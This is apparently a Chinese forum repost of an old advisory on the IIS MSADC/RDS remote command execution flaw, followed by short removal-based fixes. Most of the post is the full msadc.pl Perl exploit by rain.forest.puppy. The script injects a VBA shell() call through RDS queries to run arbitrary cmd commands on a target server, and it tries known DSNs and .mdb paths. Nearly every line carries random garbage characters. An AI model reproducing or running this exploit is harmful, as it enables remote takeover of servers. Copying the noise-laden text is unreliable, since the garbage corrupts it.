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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 5g2+Ar(  
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涉及程序: 9cj-v}5j  
Microsoft NT server \^LR5S&  
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描述: HZ=yfJs nc  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 g|_*(=Q  
?R:Hj=.  
详细: ~At.V+  
如果你没有时间读详细内容的话,就删除: 'oL[rO~j  
c:\Program Files\Common Files\System\Msadc\msadcs.dll "TJ^Z!  
有关的安全问题就没有了。 IfCqezd  
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微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 L1 VTq9[3  
bLF0MVLM  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 v[3sg2.  
关于利用ODBC远程漏洞的描述,请参看: d`7] reh  
D}3fx[  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm  Vp^sER  
n7uD(cL  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 g(H3arb&  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp vJUB;hD  
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这里不再论述。 :C6r N}_k  
 Z5-'|h$|  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: ra2q. H  
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/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset )d`$2D&iY  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! !P3|T\|]+  
M0 8Y  
R7E"7"M10  
#将下面这段保存为txt文件,然后: "perl -x 文件名" RR=l&uT  
}!Lr!eALr  
#!perl h!~yYNQ"  
# lM,:c.R  
# MSADC/RDS 'usage' (aka exploit) script x&Rp m<4  
#  N&.p\T&t  
# by rain.forest.puppy ;f~'7RKy!G  
# %TgM-F,8  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me iW~f  
# beta test and find errors! vy?YA-  
cA2]VL.r>C  
use Socket; use Getopt::Std; # t Ki6u  
getopts("e:vd:h:XR", \%args); ~A4WuA  
CNYchE,}  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; ev >9P  
B ;$8<  
if (!defined $args{h} && !defined $args{R}) { 0u\@-np  
print qq~ l}/UriZ0  
Usage: msadc.pl -h <host> { -d <delay> -X -v } pBkPn+@  
-h <host> = host you want to scan (ip or domain) i(HhL&  
-d <seconds> = delay between calls, default 1 second rzLl M  
-X = dump Index Server path table, if available miSC'!  
-v = verbose B=`!  
-e = external dictionary file for step 5 Yg.u8{H  
+8I0.,'  
Or a -R will resume a command session }3lF;k(2g  
7yl'!uz)9  
~; exit;} 92Iv'(1ba  
blv6  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; f}eVfAf  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} B.#0kjA}  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} Z5A<TC/:  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); 9t1_"{'N1  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 74#@F{w  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } k<H&4Z)d9  
l !v#6#iq  
if (!defined $args{R}){ $ret = &has_msadc; v^ G5 N)F  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} ?VsZo6Z"  
kq-RM#Dj:  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" E@KK\m \e  
. "cmd /c "; amgex$  
$in=<STDIN>; chomp $in; N0C5FSH  
$command="cmd /c " . $in ; rfoCYsX'  
o9>X"5CmX  
if (defined $args{R}) {&load; exit;} yI<'J^1C[  
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print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; i,T{SV  
&try_btcustmr; "o^zOU  
[~wcHE  
print "\nStep 2: Trying to make our own DSN..."; dM$S|, H  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; M(f'qFY=K  
QNFrkel  
print "\nStep 3: Trying known DSNs..."; qcF{Kex"  
&known_dsn; r_m&Jl@4  
V-3]h ba,  
print "\nStep 4: Trying known .mdbs..."; ?M2@[w8_  
&known_mdb; }kDrUnBk  
sx\7Z#|  
if (defined $args{e}){ 04t_  
print "\nStep 5: Trying dictionary of DSN names..."; [&:oS35O  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } S\m]ze  
D=Y HJ>-wB  
print "Sorry Charley...maybe next time?\n"; jBbc$|O4SY  
exit; x;Q2/YZ#  
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############################################################################## hlZjk0ez  
J4i0+u  
sub sendraw { # ripped and modded from whisker 9HP--Z=  
sleep($delay); # it's a DoS on the server! At least on mine... H@:@zD!G[  
my ($pstr)=@_; ]\U'_G2]  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || \Wk$>?+#@  
die("Socket problems\n"); aXagiz\;  
if(connect(S,pack "SnA4x8",2,80,$target)){ Wwz{98,K  
select(S); $|=1; (x@"Dp=MZW  
print $pstr; my @in=<S>; }1wuH  
select(STDOUT); close(S); I_rVeMw=  
return @in; VbYapPu4b!  
} else { die("Can't connect...\n"); }} _?"J.i  
_G|6xlO  
############################################################################## XQA2uR4h  
t JP(eaqZ  
sub make_header { # make the HTTP request y (A"g3^=  
my $msadc=<<EOT j3>< J  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 LmE-&  
User-Agent: ACTIVEDATA A5b}G  
Host: $ip p:jrqjLp  
Content-Length: $clen mfvQ]tz_+  
Connection: Keep-Alive D[mYrWHpn  
jI%yi-<;  
ADCClientVersion:01.06 <#-ERQw  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 )j]RFt  
Lnzhs;7L  
--!ADM!ROX!YOUR!WORLD! :>k\uW  
Content-Type: application/x-varg ilP&ctn6+c  
Content-Length: $reqlen ,J~dER\%  
;1nd~0o  
EOT q,GL#L  
; $msadc=~s/\n/\r\n/g; YS*t7  
return $msadc;} oS4ag  
uRIr,U^  
############################################################################## ]+8,@%="  
@ h]H_  
sub make_req { # make the RDS request 809-p_)B  
my ($switch, $p1, $p2)=@_; kAoai|m@R  
my $req=""; my $t1, $t2, $query, $dsn; !FO)||'[  
sIpK@BQ'  
if ($switch==1){ # this is the btcustmr.mdb query !ktr|9Bl  
$query="Select * from Customers where City=" . make_shell(); ~>n<b1}W  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 3]i1M%'i  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} -vyC,A  
@."R9s  
elsif ($switch==2){ # this is general make table query /%)J+K)  
$query="create table AZZ (B int, C varchar(10))"; ~VKw%WK  
$dsn="$p1";} `PL!>oa(8  
.1@5*xQ5O  
elsif ($switch==3){ # this is general exploit table query KR*/yeG!E  
$query="select * from AZZ where C=" . make_shell(); " O4Z).5q3  
$dsn="$p1";} 3-05y!vbcE  
+vP1DXtj(  
elsif ($switch==4){ # attempt to hork file info from index server cmTZ))m  
$query="select path from scope()"; epnDvz\   
$dsn="Provider=MSIDXS;";} O  tr@jgw  
]WG\+1x9  
elsif ($switch==5){ # bad query <Wd$6  
$query="select"; 4ZIXG,@mZJ  
$dsn="$p1";} &}]Wbk4:  
n;U|7it7  
$t1= make_unicode($query); 3Wiu`A  
$t2= make_unicode($dsn);  tua+R_"  
$req = "\x02\x00\x03\x00"; Ii)TCSt9U?  
$req.= "\x08\x00" . pack ("S1", length($t1));  7;XdTx  
$req.= "\x00\x00" . $t1 ; _AFgx8  
$req.= "\x08\x00" . pack ("S1", length($t2)); jHd~yCq  
$req.= "\x00\x00" . $t2 ; pr2d}~q4{  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; Lv_>cFJ}[  
return $req;} }IV7dKzl  
w*+rBp,f  
############################################################################## >QyMeH  
u1uY*p  
sub make_shell { # this makes the shell() statement K"pfp !Y  
return "'|shell(\"$command\")|'";} Y4_i=}\*vf  
5XhV+t g.  
############################################################################## r~sGot+sQA  
p"T4;QBxQ  
sub make_unicode { # quick little function to convert to unicode G*QQpSp  
my ($in)=@_; my $out; gC 4w&yL  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } 4l|Am3vzX  
return $out;} _]\mh,}  
,=mn*  
############################################################################## [\!S-:  
{E9Y)Z9  
sub rdo_success { # checks for RDO return success (this is kludge) /<})+=>6f  
my (@in) = @_; my $base=content_start(@in); Zy'bX* s|  
if($in[$base]=~/multipart\/mixed/){ ~&pk</Dl  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} i@2?5U>h  
return 0;} |y]#-T?)t  
.Ee8s]h5W  
############################################################################## xZkLN5I{  
b;yhgdFx  
sub make_dsn { # this makes a DSN for us |peZ`O^ ~  
my @drives=("c","d","e","f"); 3Ry?{m^  
print "\nMaking DSN: "; lY~xoHT;[  
foreach $drive (@drives) { ,Zdc  
print "$drive: "; AOTI&v  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . Ei#"r\q j_  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" 8Hhe&B  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); e0D;]  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; !v^D j']  
return 0 if $2 eq "404"; # not found/doesn't exist K1Tzy=Z9j  
if($2 eq "200") { x*YJ :t  
foreach $line (@results) { =$HzEzrw  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} W4N$]D=  
} return 0;} eC1cE  
'{J!5x?L^  
############################################################################## #hai3>9|B  
?znSA >  
sub verify_exists { AVi|JY)>  
my ($page)=@_; "8-]6p3u  
my @results=sendraw("GET $page HTTP/1.0\n\n"); a9"Gg}h\  
return $results[0];} x>t:&Y M  
Y A;S'dxY  
############################################################################## _uRgKoiy  
W4Eo1 E  
sub try_btcustmr { y"7?]#$9/  
my @drives=("c","d","e","f"); 6rRPqO j  
my @dirs=("winnt","winnt35","winnt351","win","windows"); pdE=9l'  
kJ~^  }o  
foreach $dir (@dirs) { MOj 0"x)  
print "$dir -> "; # fun status so you can see progress %1#5 7-  
foreach $drive (@drives) { W nVX)o  
print "$drive: "; # ditto *u-TNg  
$reqlen=length( make_req(1,$drive,$dir) ) - 28;  yXDf;`J  
$reqlenlen=length( "$reqlen" ); c=ZX7U  
$clen= 206 + $reqlenlen + $reqlen; 'j}%ec1  
zRB1V99k  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); Q<"zpwHR  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} f$P pFSY4  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} e'u 9 SpJ  
w{0UA6+  
############################################################################## -tDmzuD6  
~_R=2t{u _  
sub odbc_error { u%&zY97/  
my (@in)=@_; my $base; w;X-i.%`  
my $base = content_start(@in); nkv zv  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this 6N]v9uXZ  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ^oA^z1>3  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; pO"V9[p]  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ,cpPXcz?,  
return $in[$base+4].$in[$base+5].$in[$base+6];} |,qz7dpe  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; sR#( \  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 1(C%/g#"  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} e`Yx]3;u(  
\5J/ ?  
############################################################################## aG,N>0k8  
TVKuvKH8U  
sub verbose { hMi[MB7~  
my ($in)=@_; nE,"3X"   
return if !$verbose; _w(SHWh2  
print STDOUT "\n$in\n";} ]` 3;8,  
n- p|7N  
############################################################################## `57ffQR9  
H]YPMG<  
sub save { ]{dg"J  
my ($p1, $p2, $p3, $p4)=@_; h4ZrD:D0\  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; BjJ+~R  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; m\j'7mZ1  
close OUT;} 6N6d[t"  
t + Fm?  
############################################################################## Io| 72W}rg  
is`le}$^y  
sub load { 5y@JMQSO  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; =eYrz@,  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); ~g)gXPjke  
@p=<IN>; close(IN); 'kPShZS$b  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); M,:GMO:?a  
$target= inet_aton($ip) || die("inet_aton problems"); kyz_r6  
print "Resuming to $ip ..."; 5^[V%4y>  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; d&t |Y:,8  
if($p[1]==1) { AOhsat;O`  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; _aq3G9C_  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; _v<EFal  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); +K]kGF  
if (rdo_success(@results)){print "Success!\n";} -cEjB%Neo  
else { print "failed\n"; verbose(odbc_error(@results));}} )mJl-u[0+  
elsif ($p[1]==3){ 4mUQVzV  
if(run_query("$p[3]")){ `2 Vc*R  
print "Success!\n";} else { print "failed\n"; }} }7k+tJ<   
elsif ($p[1]==4){ Fn$EP:>  
if(run_query($drvst . "$p[3]")){ a+IU<O-J?  
print "Success!\n"; } else { print "failed\n"; }} #O qfyY!  
exit;} G[)QGZ}8b  
@ScH"I];uA  
############################################################################## Id|38   
<SOC  
sub create_table { 7>v1w:cC]  
my ($in)=@_; -bduB@#2d  
$reqlen=length( make_req(2,$in,"") ) - 28; r6QNs1f~.  
$reqlenlen=length( "$reqlen" ); #%Uk}5;-  
$clen= 206 + $reqlenlen + $reqlen; _G,`s7Q,w  
my @results=sendraw(make_header() . make_req(2,$in,"")); MHk\y2`/;  
return 1 if rdo_success(@results); X5'foFE'  
my $temp= odbc_error(@results); verbose($temp); T/UhZ4(V  
return 1 if $temp=~/Table 'AZZ' already exists/; r( :"BQ  
return 0;} A F>!:  
mRFcZ.7  
############################################################################## 5 J61PuH   
Sr/"'w;  
sub known_dsn { QVm3(;&'  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go ;)~loa1\  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", m^%[  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", gVl%:Ra%  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); D?;$:D"  
Jah~h44&  
foreach $dSn (@dsns) { +hqsIx  
print "."; -BgzAxa  
next if (!is_access("DSN=$dSn")); RL SP?o2J  
if(create_table("DSN=$dSn")){ +m]$P,yMt  
print "$dSn successful\n"; bncIxxe  
if(run_query("DSN=$dSn")){ ^LX1&yT@  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { O#uTwnW  
print "Something's borked. Use verbose next time\n";}}} print "\n";} O3PE w4yA  
2D,9$ 0k_]  
############################################################################## A#\NVN8sk  
m:.ywiw=  
sub is_access { ![P1Qv p  
my ($in)=@_; e@F9'z4  
$reqlen=length( make_req(5,$in,"") ) - 28; f^Lw3|rq4  
$reqlenlen=length( "$reqlen" ); z;x $tO  
$clen= 206 + $reqlenlen + $reqlen; U8PSJ0ny  
my @results=sendraw(make_header() . make_req(5,$in,"")); EQET:a:g  
my $temp= odbc_error(@results); JF IUD{>fp  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); Yc BY[i0  
return 0;} E?m(&O j  
~8o's`  
############################################################################## jqh d<w  
^ duNEu0*  
sub run_query { ,nD:W  
my ($in)=@_; 4jfkCU  
$reqlen=length( make_req(3,$in,"") ) - 28; 6V KsX+sd  
$reqlenlen=length( "$reqlen" ); }1f@>'o  
$clen= 206 + $reqlenlen + $reqlen;  LkD$\i  
my @results=sendraw(make_header() . make_req(3,$in,"")); D9*GS_K2 t  
return 1 if rdo_success(@results); 4N|^Joi  
my $temp= odbc_error(@results); verbose($temp); M1^,g~e  
return 0;} )4vZIU#  
9s8B>(L  
############################################################################## prV:Kq;O  
za `  
sub known_mdb { @2yi%_ ]h  
my @drives=("c","d","e","f","g"); DJ2EV^D+P  
my @dirs=("winnt","winnt35","winnt351","win","windows"); iP6$;Y{ZA  
my $dir, $drive, $mdb; ?kqo~twJ  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; ,W;\6"Iwx'  
w O;\,zU  
# this is sparse, because I don't know of many :,X,!0pWRp  
my @sysmdbs=( "\\catroot\\icatalog.mdb", bwR24>8lP  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", hz\Fq1  
"\\system32\\certmdb.mdb", V\^3I7F  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% yCy4t6`e  
,A T!:&<X  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", NguJ[  
"\\cfusion\\cfapps\\forums\\forums_.mdb", 0'{0kE[wn  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", - &Aw] +  
"\\cfusion\\cfapps\\security\\realm_.mdb", wws)**]J8  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", l*T> 9yC  
"\\cfusion\\database\\cfexamples.mdb", ;I1}g]  
"\\cfusion\\database\\cfsnippets.mdb", hqd}L~o:  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", `j{q$Y=AG  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", uO%G,b  
"\\cfusion\\brighttiger\\database\\cleam.mdb", \$n?J(N  
"\\cfusion\\database\\smpolicy.mdb", YKk?BQ"  
"\\cfusion\\database\cypress.mdb", ;cgc\xm>  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", @0S3`[/U  
"\\website\\cgi-win\\dbsample.mdb", S\RjP*H*  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", %8NAWDb{  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" #Cks&[!c  
); #these are just "E =\Vz  
foreach $drive (@drives) { lS&$86Jo(  
foreach $dir (@dirs){ 'yuM=Pb  
foreach $mdb (@sysmdbs) { :_E q(r  
print "."; x2(!r3a  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ TO7%TW{L  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; !*_5 B'  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ 20h|e+3  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; (=c R;\s<  
} else { print "Something's borked. Use verbose next time\n"; }}}}} +`O8cHx  
:oh(M|;/2  
foreach $drive (@drives) { u4*7 n-(  
foreach $mdb (@mdbs) { l3dGe'  
print "."; bU9B2'%E  
if(create_table($drv . $drive . $dir . $mdb)){ ;gfY_MXnF  
print "\n" . $drive . $dir . $mdb . " successful\n"; JDrh-6Zgj  
if(run_query($drv . $drive . $dir . $mdb)){ RLBjl%Q>  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; PYX]ld.E  
} else { print "Something's borked. Use verbose next time\n"; }}}} WX$mAQDV  
} 28J ; 9  
4)./d2/E  
############################################################################## x;ym_UZ6e  
\' (_r  
sub hork_idx { {Bk9]:'$5  
print "\nAttempting to dump Index Server tables...\n"; H-$)@  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; g"gh2#!D  
$reqlen=length( make_req(4,"","") ) - 28; iLiEh2%P  
$reqlenlen=length( "$reqlen" ); ICwhqH&  
$clen= 206 + $reqlenlen + $reqlen; 1sKKmtgH  
my @results=sendraw2(make_header() . make_req(4,"","")); b<o Uy  
if (rdo_success(@results)){ ,&[2z!  
my $max=@results; my $c; my %d; d:jD  
for($c=19; $c<$max; $c++){ ihivJ Z  
$results[$c]=~s/\x00//g; *<?or"P  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; $ K1 /^  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; vcTWe$;Q  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; q y"VrR  
$d{"$1$2"}="";} gRA}sF  
foreach $c (keys %d){ print "$c\n"; } 7DaMuh~<  
} else {print "Index server doesn't seem to be installed.\n"; }} tr3Rn :0]  
(GB2("p`  
############################################################################## )2t!= ua  
MN1 kR  
sub dsn_dict { -{H; w=9  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); }? j>V  
while(<IN>){ _): V7Zv  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; Pl(+&k`}  
next if (!is_access("DSN=$dSn")); @*Sge LeL  
if(create_table("DSN=$dSn")){ +mP&B<=H)  
print "$dSn successful\n"; mv9k_7<  
if(run_query("DSN=$dSn")){ YYfX@`\  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { S0?4}7`A  
print "Something's borked. Use verbose next time\n";}}} J-C3k`%O  
print "\n"; close(IN);} \7M+0Ul1  
"J:~Aa%_  
############################################################################## xE%1C6~C<  
q2v:lSFY  
sub sendraw2 { # ripped and modded from whisker + <AD  
sleep($delay); # it's a DoS on the server! At least on mine... nk.m G ny  
my ($pstr)=@_; j/"{tMqQp  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ^wesuW@=  
die("Socket problems\n"); *K#7,*Oz  
if(connect(S,pack "SnA4x8",2,80,$target)){ oL?(; `"&  
print "Connected. Getting data"; ? tre)  
open(OUT,">raw.out"); my @in; +%vBDcf  
select(S); $|=1; print $pstr; +c&n7  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} BZAeg">3  
close(OUT); select(STDOUT); close(S); return @in; V mxVE=l  
} else { die("Can't connect...\n"); }} Ckd=tvL  
x;A"S  
############################################################################## gD&/ k  
,M@LtA3g  
sub content_start { # this will take in the server headers ~&-8lD];LM  
my (@in)=@_; my $c; fh~"A`d  
for ($c=1;$c<500;$c++) { R  Fgy  
if($in[$c] =~/^\x0d\x0a/){ EX^}#|e*h  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } ];BGJ5^j  
else { return $c+1; }}} 01v7_*'R  
return -1;} # it should never get here actually >s#[dr\ww  
eeI aH >  
############################################################################## 27mGX\T  
!O=?n<Ex"  
sub funky { =@%;6`AVcp  
my (@in)=@_; my $error=odbc_error(@in); B&^WRM;7t  
if($error=~/ADO could not find the specified provider/){ ke.{wh\0  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; VrL==aTYXs  
exit;} V=yRE  
if($error=~/A Handler is required/){ gp07I{0~m  
print "\nServer has custom handler filters (they most likely are patched)\n"; v @zpF)|  
exit;} "E`;8SZa  
if($error=~/specified Handler has denied Access/){ %ux%=@%  
print "\nServer has custom handler filters (they most likely are patched)\n"; QoZ7l]^  
exit;}} -dX{ R_*  
xs<~[l  
############################################################################## 3#fu; ??1.  
7P3PQ%:  
sub has_msadc { b=:$~N@Y  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); (!F Uu  
my $base=content_start(@results); f tBbO8e  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); ]3.Un,F  
return 0;} 8`bQ,E+2  
|$[WnYP  
######################## Q `$Q(/  
 LW?Zd=  
LxqK@Q<B  
解决方案: ,(aOTFQS  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll 7U=|>)Q0s  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 En@] xvE  
{"<6'2T3  
拿出来充数 哈哈
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